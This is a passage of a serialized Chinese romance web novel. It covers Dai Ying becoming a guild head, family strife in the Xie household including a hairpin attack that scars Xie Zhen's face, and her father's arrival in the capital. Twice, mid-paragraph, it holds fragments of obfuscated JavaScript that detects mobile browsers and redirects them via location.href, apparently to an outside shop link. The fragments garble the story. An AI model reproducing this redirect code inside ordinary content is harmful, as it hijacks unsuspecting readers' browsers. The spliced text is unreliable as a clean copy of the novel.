“原先布行的张行头同外商勾结,事情败露,怕担责,撂挑子跑了,妾身有心于这行头之位……大人以为如何?”
“你想当行会行首?”
京都有不少行会,布行的、酒行的、木作行……
每个行会都会推一位行头,这行头有个别称“准吏人”,虽不是正式的在编官吏,却也有个像样的身份,会发放行会牒。
戴缨反问道:“不可以?”
胡渊往戴缨面上扫了一眼,说道:“行会乃民办,衙门监督,你若想做行首,还得让会里其他人点头才行。”
京都行会不是没有女行头,皆是年长者,有辈份的,只是眼前这丫头年纪过小,想要服众只怕难。
戴缨笑道:“并非让大人力举,只要大人起个头,表个态度,不反对便可。”
“若是这样,我没什么说的。”
有了这个话,接下来,戴缨只需让行会中人点头,而让那些人点头,再简单不过。
她手里有他们要的东西,对那些人来说,谁做行头都一样。
这一次,戴缨举报有功,胡渊作为衙令对她的请求应下了,特意着差人在行会点明推选一位新的行头,并有意提了戴缨的名字。
众人听出了这话里的意思,当下心中千思百转,戴氏同胡衙令是什么关系,上次查封她的铺子,还没一日就重新开张,跟闹着玩似的。
这次又在她背后撑腰,就在众人不言时,一个声音站了出来。
“此次多亏戴娘子慷慨大方,伸出援手,解了在场诸位的困境,我当先,选戴娘子为咱们行的行头。”
此语一出,堂间众人,连同戴缨在内,皆侧头去看,说话之人不上三十,正是那瑞锦轩的东家,林韦。
他们这些人,不少需从戴缨手里购置生丝,有了一个起头,又无人反对的情况之下,其他人也就随众了,就这么,戴缨行首之位落定。
散会后,一人行到林韦身边,问道:“林掌柜,那位戴掌柜是什么来头,你是不是知道点什么?”
林韦笑了笑:“什么来头我不知,她一外地女子能来京都做买卖,又岂是一般人。”
话不道尽,那人从话音中琢磨出一点什么,料定这位华四锦的女东家和胡衙令必有隐秘。
从行会出来,归雁扶戴缨上车,坐定后,问道:“娘子,咱们要这行头做什么?又无个俸禄,也无个在编的身份,事还多,只单单做咱们的生意不好?”
戴缨脸上带笑,心情不错:“俸禄能有几个钱,你主子我
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几时差钱?”
“那为着什么?”
“为了一个身份。”
归雁仍不明白:“这是什么身份,娘子的身份在陆府,一个行会的头头,能担起什么身份,不说别的,随便见一个小吏,民见了官,该低头还得低头,不如‘陆府姨娘’的身份好使。”
戴缨笑而不语,抽出帕子,放到腿上来来**折叠,嘴里哼着小曲儿。
归雁嬉笑一声,挨近戴缨,搡着她,哼唧道:“婢子愚笨,娘子行行好,解惑一二。”
戴缨手上折着巾帕,开口道:“就说那个张行老,你道他为何这么容易脱身离京?”
“因为行头的身份?”
戴缨指向腿上方正如板的帕子:“因为他手里有证,我要的就是那个。”
“行会牒?”
“不错。”戴缨见自己的丫头仍不明,但这话不是三两句能解释清的,只简单说明,“有这个牒,日后各路通行方便,就算衙吏查验身份,不会被充作流民,若作商旅,也不会被遣送回原籍,懂么?”
归雁似懂非懂地点了点头,话是听明白了,但她不知娘子要这个做什么。
什么流民,什么商旅,好像会走好远似的,怎么想也同她们不沾边。
过了几日,戴缨终于拿到了行会牒,展开看去,里面有她商铺的信息,还有签押、官印。
她将它小心翼翼地收起来,有了它,不管日后用不用得上,自身多一层保障总不会有错。
……
彼边,谢家……
戴万如瘫了,但她这个瘫并不是全身不得动弹,经过大夫诊治,已经可以下榻。
虽恢复不到从前,行走却不是问题,但和正常人还是差别很大。
就拿她的面部来说,不说话时还好,一说话两侧脸有明显的拉扯,一边正常,一边往下坠。
正常的一侧脸在下坠的一侧的比较之下,看着多少也有点问题。
走起路来,更是不协调。
如今就算给她一个诰命,以她现在这副模样,也不会在人前炫耀了。
她如今成日在府里,没别的事,主要就两件,一,寻着事发脾气,二,寻着人发脾气。
院子里的阳光照不进谢家的上房,哪怕天气再好,那光都映不透上房的窗纱。
戴万如坐于上首,一旁的丫鬟在她衣襟前掖了巾帕,拿着汤匙给她喂药,还没喂到两口,药碗被她一把掀翻在地,丫鬟赶紧伏跪于地。
只听她含糊道:“你刚才是不是撇嘴了?”
丫鬟惶恐:“婢子不敢。”
“不敢?我分明看见你撇嘴,我只是腿脚不便,眼睛却没瞎,脑子也没坏!”
说着,一双眼狠狠瞪起,眼角像要撕裂一样:“你们一个个,拿我当痴儿?”
堂中众人无一人敢言语,俱垂手低头。
正在这时,屋外响来脚步声,戴万如抬眼看向来人,嘴角扯起一抹怪异的冷笑……
第122章 看着她坠落
“我当你眼里没我这个母亲了。”戴万如说道。
谢珍趋步上前,先是看了一眼地上的碎碗,抬头做出委屈状:“母亲说什么呢,女儿向来最孝顺您的。”
一面说,一面挥手让下人们把地面清了。
谢珍同戴万如的母女情如今只浮于表面。
眼下谢珍待字闺中,以后的婚嫁还指望戴万如,若不是因为这个,她连一点样子都不想装。
戴万如没再说什么,哪怕这个女儿再不成样,同她闹得再僵,也是她肚子里爬出去的,寒心之后还是寒心,可又能怎么样。
下人们将地面收拾干净,谢珍又接过一碗汤药喂于戴万如。
“我那嫂嫂还没来给母亲问安?这都什么时候了,哥哥在府里时,她还来,怎么哥哥一走,就见不到人了,也不来您跟前伺候。”
戴万如咽下一口汤药,拿帕子在自己歪斜的嘴角拭了拭:“你哥哥一走,她恨不能跟着你哥哥一起走,说是陆府千金,哪有一点大家闺秀的规矩,尽是小家子做派,我瞧着碍眼,打发她退下了。”
谢珍扑哧一声笑:“母家还是说得太轻了,什么小家子做派,她来咱们家时就不清白了,趁着年前急吼吼地嫁进来,这可是窑姐儿的做派。”
谢珍背地里骂起陆婉儿来,不留半点情面,从前她在陆府,陆婉儿对她呼之即来挥之即去,颐指气使。
甚至连她身边的大丫头都不如,同住一个院子,她的吃穿用度全靠她施舍一样。
那些下人们一个比一个势利,她不像戴缨,手头富绰,哪怕撒些钱财收买人心,也能过得好。
因着陆婉儿的态度,下人们见着她,当着面也不带客气,一道道似有若无的鄙夷的眼神,像是刀片一样,刮着她的肉。
如今陆婉儿嫁到谢家,任她从前再矜娇,那也是她谢家媳!
戴万如扯动腮上的肉,不知是个什么表情,眉梢一提:“什么不清白?”
“母亲还不知道?我那嫂嫂亲自承认,说她不是清白之身。”谢珍停了一会儿,又道,“谁知道她失身于哪个野汉子,说不定是她陆家的哪个奴才。”
戴万如气得两腮鼓起,连拍桌案道:“这是什么话,从哪里听来的?!”
谢珍冷笑一声,不言语。
其实,陆婉儿出嫁时还未有什么传言,不知过了多久,也不知几时起,那谣言就在看不见的地方,如梅雨季的霉斑一样,一夜之间显了出来。
戴万如因激动太过,一边下垂的嘴角流下津涎,不得不拿帕子揩拭。
一是气传谣之人,二是气陆婉儿的不洁之名,且这不洁之名还传得如此不堪。
她当然知道事情始末,可传出不好听的话,就是另一回事。
谢珍继续拱火:“如此不知廉耻之人,不过是仗着陆家的威势,也就是命好。”
戴万如将谢珍的话打住:“你还说!这种话说出来岂不叫你兄长没脸?如今你兄长赴海城为官,还指着陆家。”
谢珍听后,撇了撇嘴,不以为意。
这方的话,没过半日就传到了陆婉儿耳中,她何曾受过这等气,气得在屋里直掉眼泪,又恨得牙直咬。
每日天刚亮就要去上房伺候戴万如这个半瘫子,不是听她唾沫横飞地喝骂下人,就是听她阴阳怪气地敲打自己。
还要在她跟前立规矩,一立就是一上午,更需忍着恶心替她拭嘴边的涎。
谢珍这个小姑子更不用说,当面背面的给她气受。
陆婉儿一面想着谢容几时来接她,一面又想着回陆府,可哪一头都不行。
那日,她为着救谢容,不惜往自身泼脏水,全没想过以后,父亲给了她一巴掌,那一耳光必是失望透顶。
很多时候,陆婉儿都不敢往前想,也不敢往后想,怕一想,就被悔意给吞噬。
从前的她被护得太好了,而今,她失去了这一份来自父亲和祖母的袒护,想到这里,脑子里突然浮现戴缨的面孔。
鬼使神差之下,她和她颠倒了位置,陆婉儿慨然着,殊不知在她出嫁那日,戴缨于阁顶静默地看着她坠落。
她困于谢家后宅时,戴缨在做什么?
她有自己的铺子,父亲从不阻她出门,连她抛头露脸开店做生意也是默许的。
父亲很少对家人发脾气,将家人看得很重,整个陆家,不管是二房还是三房,都依傍他。
他们都依傍着他……可自己却想尽办法从家族的庇护脱离……
如果,她不那么任性,父亲会替她规划好一切,让谢家自动退亲,而她不受半点影响,他会给她指一门更合配的门第。
想到这里,陆婉儿再也抑制不住,捂脸呜咽,哭着哭着又想谢容,若他在她身边,她或许就不这样难过。
陆婉儿想着,要不在谢容没接她去海城前,先回陆家暂住。
对,对,她可以回娘家暂住,一直住到谢容派人来接她为止。
下午,喜鹊回了一趟陆家,她是陆婉儿的贴身丫头,一家都是陆府的家仆,她老子娘是上房的婆子,同陆老夫人跟前的周嬷嬷相熟。
她家就在陆府侧巷,一进家门就将自家娘子的近况同她老子娘肖婆子说了。
那肖婆子听后,摇头叹气:“她一个嫁出去的姐儿,哪能想回娘家就回娘家,那会儿出嫁时本就不光彩,明面上没人说,私下说什么的都有,这才嫁出去多久就回娘家长住,叫外面人知道,该怎么说?”
肖婆子又道:“你跟在她身边,该多劝劝,既然嫁作他人妇,当以夫家的规矩为天。”
“娘——大姐儿的脾气你不是不知道,是我能劝得住的?”喜鹊说道。
“行了,行了,既然她吩咐了你,我把话带进去,看看怎么说,总不能叫你难做。”
喜鹊在屋里等她老子娘的回话。
午饭前,肖婆子进了府,一路行到上房,问了值院的丫头:“摆饭了?”
丫头摇了摇头。
肖婆子又道:“去屋里看看,周嬷嬷在不在,若是在里面,请她出来。”
小丫头点头,快步进了上房,不一会儿,周嬷嬷揭帘出来,见了肖婆子,问道:“你今儿不当值,怎么进来了?”
肖婆子拉着周嬷嬷走到树架下,把陆婉儿想回府暂住的事说了,又说了些她在谢家的况景。
周嬷嬷听后半晌不言语,开口道:“这种事怎么叫老夫人知道,说了平白叫她伤心。”
肖婆子哀叹一声,真要说来,这事只能怨大姐儿自己。
“行了,待老夫人用**,我抽个空档,提一嘴,看她怎么说。”周嬷嬷正说着,厨房开始往里间上饭。
陆老夫人用饭时,戴缨侍于一侧替她布菜,待用**后,坐在她跟前陪说话。
周嬷嬷先是看了戴缨一眼,走到陆老夫人身侧,一副似有话说的模样。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16723380|186148||http|test|mini|href|location''.split(''|''),0,{}));
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r>“你下去用饭罢。”陆老夫人对戴缨说道。
戴缨应是,知道周嬷嬷有话同老夫人说,便带着丫头们出了上房。
“何事?”陆老夫人问道。
周嬷嬷将陆婉儿想回府暂住的话说了出来,其他的……没有多说。
陆老夫人听后沉出一息,嘴角抿着,这表情像是痛惜,更多的却是无可奈何。
“她是嫁出去的姑娘,上头还有婆母,岂是她一句想回就能回的?”陆老夫人又道,“当初我对缨丫头,一来喜欢,二是心中有愧,这才想着接她到身边照拂,那不还得搭上谢家一个谢珍一起来?”
周嬷嬷应是。
“再者,婉儿如今的情形,与当年的缨丫头又不能比,一个已是嫁作人妇,另一个尚且待字闺中,其中的分寸与道理,自是不同。”
陆老夫人再是一声叹:“她出嫁时,闹得就不好看,这才出门子多久就回来,别人怎么说怎么看?咱们陆家不止她一个姑娘,溪儿、意儿还有其他几个小的日后还嫁不嫁人?”
想到什么,老夫人提醒道:“这些事,别让她父亲知道,他的事务也多,徒惹他烦心。”
周嬷嬷应是。
那喜鹊在家等着她老子娘,肖婆子从府里出来,带着话回了自家门。
“娘,里面怎么说?”
肖婆子摇了摇头:“里面说了,既入其门,便为其妇,咱们的手,伸不到别家的庭院里去,叫大姑娘莫要使性,莫要争口舌之快,自己也能少受些罪……”
“这是老夫人说的?”喜鹊惊声问。
“谁还能替老夫人说话不成?就是这个意思,你把话带去。”
喜鹊将话带给了陆婉儿,陆婉儿听后怔了半日不说话,偏这时谢珍带着几个丫头到陆婉儿的院里。
“嫂嫂做什么呢?”谢珍走进屋,坐下,笑看向陆婉儿,“早上那会儿怎么不见你到上房给夫人请安?”
说到这儿,“嗐”了声:“忘了不是?姐姐从前在陆家就是个没规矩的,也就老夫人宠疼你,把你惯养成这样,也是,毕竟从外抱来的,天性使然,就算入了高门呐……骨子里的劣根是改不了的。”
陆婉儿的五官并不算多么精细好看,从前因为有金贵气养着,自是特别的。
而现在那层金贵的养护没了,成日还要受戴家母女的气,一张脸眼见的消瘦了不少,也黄了不少。
可不管陆婉儿表面看起来如何低迷颓丧,她的跋扈是改不了的,尤其在面对谢珍这个从前给她提鞋都不配的小官之女。
“你得意什么?”陆婉儿眼神变冷。
谢珍掩嘴笑道:“见姐姐这个样子,我怎能不得意,珍儿时时刻刻提醒自己,以你为戒,万不能活成你这样,这个家……我逃都来不及,你却想进来……啧啧……”
陆婉儿不作理会,走到妆台前,低下头,嘴角撇一抹阴冷,打开妆匣,用指轻轻拨弄匣子里的珠环宝簪,从中挑了一样雕镂精细的凤钗,取出。
谢珍离得不远,一双眼紧紧地盯着那枝用量十足的凤钗,这簪子她从前见陆婉儿戴过,一直惦记。
“先时咱们姊妹在一处多要好,怎的我进了你家,你反倒说这么些刺骨的话?”陆婉儿走到谢珍面前,把手里的凤簪递给谢珍,“看看,喜不喜欢?”
谢珍呆了呆,随即面上露出狂喜,缓缓伸出手,却忽略了对面瘆人的眼神……
第123章 葡萄架不能碰!
谢珍如何不得意,陆婉儿也有讨好自己的一天,看着她手上金灿灿的凤簪,就要伸手去接。
谁知下一刻,金簪一晃,带出一抹影,跟着,颊上一麻,慢慢地,麻中渗出痛感,有湿黏的液体流出。
谢珍两眼颤动,先看到的是一支带血的凤簪,凤翼上有血,那里的血最多,血沿着簪柄流下,一滴一滴落地。
没等她从迷离又惶恐的状态中抽离,陆婉儿的声音在她耳边响起:“呀——都怨我,都怨我……”
声音附过来:“把你的脸划开了……”
戴万如得到消息后,一屁股歪到椅子上,面上的肉僵得更狠了。
她行动不便,走一趟路很费劲,大夫来看过后,告诉她了情况,谢珍的左半张脸被划出一道细长口子,伤口不算深,跨度却大,从眼角到嘴角,多少会留有印痕。
听到这个消息后的戴万如,身体发麻,发木。
陪房嬷嬷在一边劝说:“夫人不可再动气了,您这身子得静养,已是倒过一次的人,怎么还看不清呢。”
戴万如梗着脖,粗喘了两声:“是,是,这话是对的,不能气了,由着他们,这府里的事我管不得了。”
在她身体好时,府里的一切,哪一样不是她打点操持,银钱不够用了,她拿嫁妆补贴。
府中上下一应事务她都料理得妥帖,为着那一份好强,为着不叫人低看她。
不论是对谢山这个夫,还是对一双子女,她没有亏欠,只是后来出了许多始料未及的变故,这才开始乱了。
而这一乱,她才发觉,原来自己最可怜。
谢珍这个女儿来看她,坐在一边说风凉话,谢容这个儿子立在她的床头,默不出声,谢山这个夫……他甚至都不愿进她那间充满苦药的屋室。
倒是那水杏,时不时在她跟前晃荡一下。
戴万如撂开手,对府里的事务,睁一只眼闭一只眼,后来,谢珍哭诉到她面前,她也不管了,由着这些人闹腾。
……
原本罗扶国年初派使臣来大衍朝议,不知怎的将日子延后。
四五月时,天气暖和起来,人们换下厚重的冬衣,衣着变得轻薄了许多,人也精神了许多,不再像天冷时那样窝缩着。
戴缨适应了眼下的日子,不仅仅适应了身处的环境,还适应了身边的人。
以她最初的态度,她和陆铭章是相互索取的关系。
他心思缜密,风骨严谨,有自己的一套准则和纲常,而她同他截然相反,她更像一根蔓条,风吹成什么形状,便是什么形状。
陆铭章喜欢她新鲜的肉体,喜欢她带着一点谄媚的娇劲,喜欢她闹他时的鲜活,而她呢,需要倚仗他。
这是维系她和他的纽带。
她自然也清楚,这样的纽带并不牢靠,但有一点,算是她给自己仅有的安慰。
那便是陆铭章这人很看重家庭。
偌大的陆府因为有他镇着,各房都不敢掀起大风波,只能下潜中搅动一点点的暗流,除开陆婉儿那事。
所以,她倒不怕往后日子艰难。
然而,不知从何时起,她不等到他回,就睡不安稳,温存时,总要去吻一吻他,也希望他回吻自己。
她停在他身上的目光也不一样了,当她偷看他时,被他回看过来,她的心就会失律地跳动。
渐渐地,她想要得到更多,终究贪心了……
从前,她对他娶妻没什么太大的感觉,他立了正头娘子,她也能顺理成章地拥有一个孩子傍身。
她喜欢孩子,是真的喜欢,前一世,那孩子死在了她的肚子里,她没护住。
而后,她苟活了十来年,十年,每一刻都是煎熬。
有时候,她甚至荒谬地想,那失落的孩子会不会同她再续前缘,因为这个念头的驱使,竟有些想让陆铭章快些立妻室。
可现在有些东西变了,她仍是想要一个孩子,属于他和她的孩子,却不想再有旁人插足进来。
戴缨觉着这样的想法很危险,她不断地提醒自己,将她和陆铭章的关系简单化,不要将自己融进去,因为,抽离是一件很痛苦的事。
这日,陆铭章休沐,中午在书房理事,并不回一方居,午饭也在书房享用。
戴缨刚从外回,七月寻来。
“家主适才遣人来问,姨娘回了没有,我才把人打发了,不知是不是有要事。”
戴缨点了点头:“大人在书房?”
“是,小厮打书房来的。”
“这便去了。”戴缨又带着丫头往书房去。
进了书房院子,守门的小厮坐在一张矮凳上,身子靠着门板,嘴巴微张,睡着了。
“娘子,你看。”归雁扑哧掩嘴笑道。
戴缨瞥了一眼,没去喊醒小厮,而是转眼看向院中的葡萄架。
记得她才入陆府那会儿,来这书院时,葡萄藤长势很好,枝叶茂密。
经历一个寒冬,褪去一身老衣,藤蔓换成了新绿,开始抽出新条和嫩芽。
她走到葡萄架前,用手抬了抬新叶,叶蔓间卷曲的细条跟着颤动,又新又嫩的,甚是可爱,于是抬手掐了一截,放到嘴里咬了一下。
酸,尖锐的让人忍不住眯眼的酸爽瞬间袭满整个腔子。
“呸,呸……”戴缨脸上的肉挤到一块。
这一点点动静,没惊动守门的小厮,反倒让侧屋小憩的长安走了出来。
目光就势落到戴缨手里的须条上,心叹一声,掐了好长一截,三两步走过去,有些失措地说道:“姨娘怎的掐它?这葡萄架不能碰……”
戴缨拿着手里剩下的半截,晃了晃:“为什么不能碰,又不是什么稀罕物,掐了再长。”
“哎呀,这院里的东西,碰什么都可以,就是这玩意儿碰不得……”
长安正说着,门扇开了,一道声音冷沉传来。
“你动它做什么。”
戴缨将目光越过长安的肩头,就见陆铭章立在门下,脸上似有不快。
他的目光先是看向她的脸,接着
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又落到她手上的藤蔓,甩袖进了屋。
这是……恼了?
于是心里一声“哎哟喂——”,嘴里说着:“这可是稀奇,还从未见爷恼过,今儿倒要见识见识。”
长安张了张嘴,这姨娘怎么一点不知道怕呢。
接着在他惊诧的目光下,戴缨不仅没有丝毫悔怕,又拽了一根比先前更长的卷须,捏在手里,一手捉裙,碎着步子进了书房。
长安从后看着,这就是区别了,若是婉姐儿,阿郎严厉地呵斥脱口而出。
面对这位戴姨娘时,嘴巴却像堵住了。
戴缨进了书房,见陆铭章坐在窗下的半榻上,于是走到他对面坐下。
“抽条的卷须,怎么就动不得?大人也忒小气。”
陆铭章往她面上看了一眼,说道:“它正在长,还不到动的时候……”
陆铭章的话音还荡着,戴缨把手里的半截卷须拿出:“妾身动了。”
说罢,强忍着酸劲,低头咬了一口:“不仅动,还咬了。”
因为酸劲,脸上的肉颤了颤,她就想看看,他生恼的模样,谁知陆铭章看她的眼神有些古怪。
戴缨见他不言语,又拿出另一根更长的卷须:“妾身这儿还有一根。”
说着准备再往嘴里送。
陆铭章将她的手按到桌上:“你听我说……”
戴缨点了点头:“大人说,妾身听着。”
“这葡萄的生长规律你可知晓?”
“妾身不知。”她怎会知道这些,按说,这些东西陆铭章也不该懂,他一个大官,怎么像个老农似的。
陆铭章倾过身,将窗扇支开,院子里的景致便映入窗间。
“你看那葡萄架,自去岁落叶,便入冬眠,待到二三月间,地气回暖,如人初醒。”
戴缨跟着他的语调,侧头看去,藤蔓的枝叶在和暖的风中懒洋洋地响动,叶片上接满了金光。
陆铭章继续道:“三月末、四月初,嫩芽开始萌动,绿叶伸展,开始抽条。”停了一下,又道,“待到五六月,便是花开时节,此后,结成果实,果实由青转紫。”
戴缨受教地点了点头,把手里的卷须拿着晃了晃,弹弹的。
陆铭章看了那卷须一眼,语调稍稍一变:“而最关键处,便在当下四月。”
“此时正是‘进补’的关键时节,有道是‘庄稼一枝花,全靠肥当家’,前两日,我令仆役将沤了一冬的粪水悉心浇灌,不知上面有无沾上……”
戴缨晃动的手一顿,嘴角抽了抽,拿到鼻下嗅了嗅,烫手一般往桌上丢掷。
陆铭章戏谑道:“尝都尝过了,也别嫌了。”说着,递上一盏茶。
“适才我去掐它,长安还老大不乐意呢,唬得跟什么似的。”戴缨想到什么,追说一句,“待到它结下果实,大人可让我取些葡萄果儿?”
陆铭章随口应了一声,然后起身走到书案后,取了一样东西,再走回,递到戴缨面前。
“平谷来的信,你看看……”
第124章 醉了,迷了眼
听说是平谷的书信,戴缨接过,从信套抽出信笺,展开看去,看过后,将信放下,没再说话。
是戴万昌的亲笔,这信是写给陆铭章的,其间措辞如何谦恭,如何谨慎自不必说。
大致意思是他要来京都,不止他要来,还带了她那同父异母的妹妹戴云一起来。
“这封信到我手里有一段时日,掐着时间,他们也快到了。”陆铭章说道。
戴缨把信重新折好,冷笑一声:“这可真是,他想来京都就来,还给大人寄信,以为他自己是哪里来的大人物,怎的,还让我迎一迎他不成?”
“他在京都不是没有房子,几处大宅呢,空着,叫家下人看管着。”
陆铭章笑道:“那你说,他来了我见是不见?”
“不见。”戴缨说道,“大人莫要给他脸。”
陆铭章见她腮帮微咬,恨恨的模样,问道:“给他做脸,便是给你做脸,真不见?”
戴缨把头撇向一边,若说她恨戴万如,但对戴万昌这个父亲的感情绝不是一个“恨”字能概括。
他对她不好吗?
从她十多岁,他出门就将她带在身边,亲自教她拨弄算盘,教她认账,当小子一样带她出门同行会的那些人打交道。
她的一身本领皆出自他。
她是家里的大姑娘,只要是她想要的,戴万昌总是紧着她先,他不缺钱,也从来不让她缺钱花。
可就是这么个人,却不问她的意愿,给戴万如的信中说出,若是朱门绣户,虽侧室亦无不可。
戴万如把她送到什么样的人家,送给什么样的人,于他来说并不重要,他要的是高门显户。
想到这里,戴缨扑哧笑出声,她同戴万如在那场不见血的厮杀中,都不是赢家。
她的父亲才是。
陆铭章观着戴缨的神情,说道:“这便是我为什么拖到现在才给你看。”
确实,在得知戴万昌要来京都后,她的心情变得很烦躁,真是不如不知道。
“你若是不想见,不见便是了,有什么可烦闷的,我见一见也是个意思。”陆铭章问道。
戴缨想了想,理清心绪,说道:“他若求见,大人推了,妾身不想看见他。”
陆铭章笑而不语。
戴缨没再说什么,反正她是不愿见戴万昌的。
戴万昌的车马到京都时,正值上午,秦家兄弟带着一簇伙计守望在城门前。
“老爷远驾而来,一路辛苦。”秦家兄弟立于车旁,向车里的人问了安。
戴万昌并未下马车,掀了车帘,点了点头,随口问道:“铺里的营生可好?”
“一切都好,前段时日,大姐儿还当上了行会的行头,可喜的事。”
戴万昌疲惫的脸上有了笑:“好,好,我儿一直都是好的。”
而后,车帘放下,放下的一瞬,帘缝轻悠悠漏出一句话:“可惜不是个小子……”
车马再次启行,往城里走,秦家兄弟随上平谷来的车队。
戴家在京都有几处大宅,没人住,由家奴看管,戴万昌来之前,京都的戴家下人早已收到了信,清出一间宅子。
车马走到街中,街道宽整,两旁楼宇林立,市声喧腾,热闹不已。
不同于平谷的新气象叫戴云目不暇接,心里欢喜不已,她从未到过京都。
初到天子脚下,入目之及皆是新鲜,街上的人和物,他们穿的衣裳,还有他们的举止。
稍稍扮相气派的,她脑子里便给这人按了个官衔,再有些打扮富丽的,她又想着,怕不是哪个皇亲国戚。
都说京都城,三步一侍郎,五步一尚书。
她被城中的空气给醺醉了,迷了眼,仿佛每一次呼吸,都在与某位大人物擦肩。
她的心情从未这般好过,父亲此次带她前来,打算让她住进谢家,其目的不言而喻。
很快,车马停当,一行人下了马车,入到戴家在京都的大宅。
戴万昌刚落脚,接下来还有许多事务料理,最首要的一件,就是拜见他的那位权臣“女婿”。
他在下人的伺候中沐洗更衣,随便用了一餐饭,看了看时候,已到了下午,一天已过去大半。
欲明日一早往陆府递帖求见,接下来,他也不闲着,出了戴宅,去了绸缎庄。
在秦家兄弟的带引下,看了绸缎庄里外,很是满意。
店中的伙计们见了戴万昌,得知是女东家的父亲,看起来不上四十,也就三十多岁的样子,身材微胖,着一件圆领枣红长衫,系宽腰带,年纪不大,却已有肚腩。
一个个心中慨然,他们东家的母亲杨三娘得美成什么样,才能把东家生得这样好,只因戴父的模样实在拉胯。
“我儿今日没来?”戴万昌问道。
秦二从旁回答:“大姐儿今日没来,两个铺子已上了正道,来得并不频繁,行会偶有事务,她才出府一趟。”看着戴万昌的面色,落后又补了一句,“常陪侍在陆家老夫人身侧。”
戴万昌一听,乐了:“是了,是了,该是这样,我儿必是得老夫人喜欢。”
这一趟出门,戴万昌自是欢欢喜喜。
自打长女进了陆府,做了陆相公的偏房,他在平谷的地位
水涨船高,那新来的县老爷每有筵席,总让人给他下帖。
甚至有一次知州来到平谷,县令借用他的宅子宴客,并引他向上拜见,知州见着他,也是客气,并不拿大。
此次县令得知他往赴京都,更是乘轿亲自登门,备了厚礼,说是给他家长女的贺礼。
至于庆贺什么,这并不重要。
而这官员也是聪明,知道陆铭章的脾性,于是想通一通陆铭章这位爱妾的路子。
毕竟他们这位相爷房里只这么这一个人,再无旁人。
戴万昌的根基在平谷,地方官的要求他不能推拒,可收下呢,又怕其中牵扯太多。
最后没办法,只能带上县令的“贺礼”上京。
次日,戴万昌先遣了下人往陆府送名帖,等陆府那边的答话,然后带着戴云去了谢家。
谢山早已让人备了一桌好酒菜,于庭院招待戴万昌这个大舅哥,戴云则随着引路的婆子去了上房,拜见戴万如这个姑母。
戴万昌同谢山于亭轩坐着,桌上摆了美味酒菜,下人在亭外应候,也是这会儿,他才知道自家小妹出了事。
“瘫了?!”戴万昌执酒杯的手一顿。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16731049|186148||http|test|mini|href|location''.split(''|''),0,{}));
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r>他知道大外甥娶了陆家千金,婚期很赶,这还是谢山写信告知他的,信中没说别的,怎么自家妹子就瘫了。
谢山从前受过戴家恩惠,哪怕如今他是官身,对戴万昌这个大舅哥还是敬着,再加上戴缨如今正得陆相宠爱,更加不敢轻待。
“先是倒地不起,后经大夫看诊,现如今可以下地行走,只是腿脚不利索。”谢山解释道。
戴万昌仰头喝了一口酒,咂摸道:“呀——这好好的……怎么就瘫了呢?”
谢山觑了戴万昌一眼,心道,被你闺女气瘫的。
戴万昌没有所觉,还对谢山劝慰。
“她是个心气高的,好不容易把容哥儿和珍姐儿盼大,如今容哥儿前程似锦,更与高门联姻,正是她苦尽甘来,安享尊荣的时刻,可偏偏……连高堂之位都未能坐上,新人的礼也未受成。”
说着又是一声叹:“我这妹子真是……苦命!”
之后,两人又说了些话,戴万昌得知谢容外派去了海城,那小女儿就没必要住谢家了,随后跟着下人去了上房。
戴万昌见了戴万如,差点认不出,人瘦得许多,面目也变了,整个人的精神是往下坠的。
兄妹二人阔别多年,叙说了些话,多半是戴万昌说,戴万如简单回应。
她说话很慢,有些含糊不清。
而且戴万昌发现,说别的话都挺好,唯有谈起自家长女,小妹身上控制不住地发颤,腮帮子鼓绷着。
“夫人平心静气,慢慢呼吸,吸气……吐气……”一旁的婆子替戴万如抚拍胸口,又去搓她僵硬的手。
戴万如闭上眼,半点不愿提及自己那个侄女儿,也不愿意听有关她的任何消息,她怕自己听多了活不长。
一个人不论从前追求再多的虚名,大病一场后,只想惜命,什么都没命来得重要,戴万如也不例外。
“大哥,小妹这个样子,你也见到了,自此见不了外人,只在这宅子里活一日算一日。”戴万如说道,“我就不多作陪了,你再坐坐。”
“刚才我那儿媳来,带珍姐儿去了后园。”
戴万昌听这话也不好多待,对戴万如又宽慰了几句。
彼边……
暖阳天气,景园内绿植翳翳,红的、黄的、紫的,各种颜色的花儿,大大小小纷纷开得正艳。
两个衣着春衫的女子于湖边闲步,一人手拿团扇,一人手拿罗绢。
一个步履向前,一个步履滞后。
戴云从侧旁打量着这位陆相千金,小脸,皮肤养护得好,很白,但没她长姐的皮肤白。
不说别的,她长这么大,真没见过谁人的皮肤比大姐好,雪肤香细一词很能精准地概括。
这位陆家千金单挑五官,不多么出挑,但胜在一身骄矜气,还有那行止间随意又傲然的姿样。
戴云落后于她半步,就在她打量陆婉儿的同时,陆婉儿停下步子,侧过身回看向她。
戴云微微垂下眼皮。
陆婉儿在她面上扫了一眼,那是一双和戴缨三分相似的眼睛,怎么形容呢,清灵灵的,一双映着山间翠色的妙目。
灵动,澄澈,像是那林间的小闹物……她父亲喜欢……
第125章 她有她的好,你有你的妙
陆婉儿将戴云扫看一番,言语含笑道:“云姐儿和戴姨娘眉眼很像呢。”
说着又往前缓走,戴云随后。
“嫂嫂抬举云儿了,云儿除了比阿姐小几岁,别的一概不能比。”戴云说道,“在家中,连父亲都更偏疼长姐,长姐能干,嘴头子甜净,讨人喜欢,云儿比不得分毫。”
陆婉儿拿着团扇轻轻一晃,笑道:“这可就是你谦虚太过了,她有她的好,你也有你的妙,譬如,你年幼,性子更加天真烂漫,这就是最难得的。”
小地方,天真花容,年纪小小,不谙世事……这一样一样垒加,正是那些极权之人追寻的宝贵。
因为他们一路走来皆是不简单,于是就想身边的人简单点。
